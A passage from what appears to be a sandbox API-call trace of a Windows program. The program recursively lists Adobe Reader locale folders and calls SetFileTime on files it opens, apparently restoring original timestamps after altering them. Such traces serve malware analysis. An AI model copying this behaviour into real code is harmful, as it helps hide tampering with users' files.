ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82fce7a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x74, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502658 [0070.595] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0070.595] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d723420, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82fce7a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82fce7a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0070.595] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0070.595] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0070.595] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d9aab80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa600, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="accessibility.SUO", cAlternateFileName="ACCESS~1.SUO")) returned 1 [0070.595] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0070.597] SetFileTime (hFile=0x94, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0070.597] CloseHandle (hObject=0x94) returned 1 [0070.598] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82b57e60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x63a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Acroform.SUO", cAlternateFileName="")) returned 1 [0070.598] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0070.598] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x801d5ec0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1a00, dwReserved0=0x74, dwReserved1=0x0, cFileName="AdobeCollabSync.SUO", cAlternateFileName="ADOBEC~1.SUO")) returned 1 [0070.598] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0070.598] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82d6d1a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x77800, dwReserved0=0x74, dwReserved1=0x0, cFileName="Annots.SUO", cAlternateFileName="")) returned 1 [0070.598] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0070.598] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x820558a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x3400, dwReserved0=0x74, dwReserved1=0x0, cFileName="BRdlang32.SUO", cAlternateFileName="BRDLAN~1.SUO")) returned 1 [0070.598] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0070.598] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82b7dfc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1de00, dwReserved0=0x74, dwReserved1=0x0, cFileName="Checkers.SUO", cAlternateFileName="")) returned 1 [0070.599] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0070.599] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82b57e60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1fa00, dwReserved0=0x74, dwReserved1=0x0, cFileName="DigSig.SUO", cAlternateFileName="")) returned 1 [0070.599] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0070.599] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82b7dfc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4600, dwReserved0=0x74, dwReserved1=0x0, cFileName="DVA.SUO", cAlternateFileName="")) returned 1 [0070.599] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0070.599] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82ec3e00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1a00, dwReserved0=0x74, dwReserved1=0x0, cFileName="eBook.SUO", cAlternateFileName="")) returned 1 [0070.599] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0070.599] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82b57e60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa200, dwReserved0=0x74, dwReserved1=0x0, cFileName="EScript.SUO", cAlternateFileName="")) returned 1 [0070.599] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0070.599] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82b57e60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x74, dwReserved1=0x0, cFileName="IA32.SUO", cAlternateFileName="")) returned 1 [0070.600] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0070.600] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7da43100, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x12800, dwReserved0=0x74, dwReserved1=0x0, cFileName="makeaccessible.SUO", cAlternateFileName="MAKEAC~1.SUO")) returned 1 [0070.600] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0070.600] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d723420, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x12c00, dwReserved0=0x74, dwReserved1=0x0, cFileName="Multimedia.SUO", cAlternateFileName="MULTIM~1.SUO")) returned 1 [0070.600] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0070.600] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d9f6e40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2c00, dwReserved0=0x74, dwReserved1=0x0, cFileName="pddom.SUO", cAlternateFileName="")) returned 1 [0070.600] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0070.600] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82b57e60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x7d800, dwReserved0=0x74, dwReserved1=0x0, cFileName="PPKLITE.SUO", cAlternateFileName="")) returned 1 [0070.600] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0070.601] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7ffe6ce0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x144c00, dwReserved0=0x74, dwReserved1=0x0, cFileName="RdLang32.SUO", cAlternateFileName="")) returned 1 [0070.601] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0070.601] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82fce7a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x74, dwReserved1=0x0, cFileName="ReadOutLoud.SUO", cAlternateFileName="READOU~1.SUO")) returned 1 [0070.601] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0070.601] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7da1cfa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1200, dwReserved0=0x74, dwReserved1=0x0, cFileName="reflow.SUO", cAlternateFileName="")) returned 1 [0070.601] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0070.601] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7da8f3c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4800, dwReserved0=0x74, dwReserved1=0x0, cFileName="SaveAsRTF.SUO", cAlternateFileName="SAVEAS~1.SUO")) returned 1 [0070.601] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0070.601] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82b7dfc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x5a00, dwReserved0=0x74, dwReserved1=0x0, cFileName="Search.SUO", cAlternateFileName="")) returned 1 [0070.602] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0070.602] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82b7dfc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x3c00, dwReserved0=0x74, dwReserved1=0x0, cFileName="SendMail.SUO", cAlternateFileName="")) returned 1 [0070.602] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0070.602] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f71060, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81fbd320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81fbd320, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x74, dwReserved1=0x0, cFileName="Services", cAlternateFileName="")) returned 1 [0070.602] lstrcmpA (lpString1=".", lpString2="Services") returned -1 [0070.602] lstrcmpA (lpString1="..", lpString2="Services") returned -1 [0070.602] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fi_FI\\Services\\*.*", lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f71060, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81fbd320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81fbd320, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f370, dwReserved1=0x4f70b2, cFileName=".", cAlternateFileName="")) returned 0x502698 [0070.604] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0070.604] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f71060, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81fbd320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81fbd320, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x4f0000, cFileName="..", cAlternateFileName="")) returned 1 [0070.604] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0070.604] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0070.604] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81fbd320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x9299, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="DEXShare.asfx", cAlternateFileName="DEXSHA~1.ASF")) returned 1 [0070.604] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0070.608] SetFileTime (hFile=0x98, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0070.609] CloseHandle (hObject=0x98) returned 1 [0070.609] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81f71060, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xe1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Services.asfx", cAlternateFileName="SERVIC~1.ASF")) returned 1 [0070.609] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0070.609] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81f71060, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xe1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Services.asfx", cAlternateFileName="SERVIC~1.ASF")) returned 0 [0070.610] FindClose (in: hFindFile=0x502698 | out: hFindFile=0x502698) returned 1 [0070.610] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7ddd5200, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x76c5023c, dwReserved1=0x3, cFileName="Spelling.SUO", cAlternateFileName="")) returned 1 [0070.610] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0070.610] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f4be5c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x74, dwReserved1=0x0, cFileName="updater.SUO", cAlternateFileName="")) returned 1 [0070.610] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0070.611] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82b57e60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6a00, dwReserved0=0x74, dwReserved1=0x0, cFileName="Weblink.SUO", cAlternateFileName="")) returned 1 [0070.611] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0070.611] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82b57e60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6a00, dwReserved0=0x74, dwReserved1=0x0, cFileName="Weblink.SUO", cAlternateFileName="")) returned 0 [0070.611] FindClose (in: hFindFile=0x502658 | out: hFindFile=0x502658) returned 1 [0070.611] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d749580, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82f824e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82f824e0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x3, cFileName="fr_FR", cAlternateFileName="")) returned 1 [0070.612] lstrcmpA (lpString1=".", lpString2="fr_FR") returned -1 [0070.612] lstrcmpA (lpString1="..", lpString2="fr_FR") returned -1 [0070.612] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fr_FR\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d749580, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82f824e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82f824e0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x74, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502658 [0070.618] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0070.618] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d749580, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82f824e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82f824e0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0070.618] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0070.618] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0070.618] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d9aab80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xb600, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="accessibility.FRA", cAlternateFileName="ACCESS~1.FRA")) returned 1 [0070.618] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, 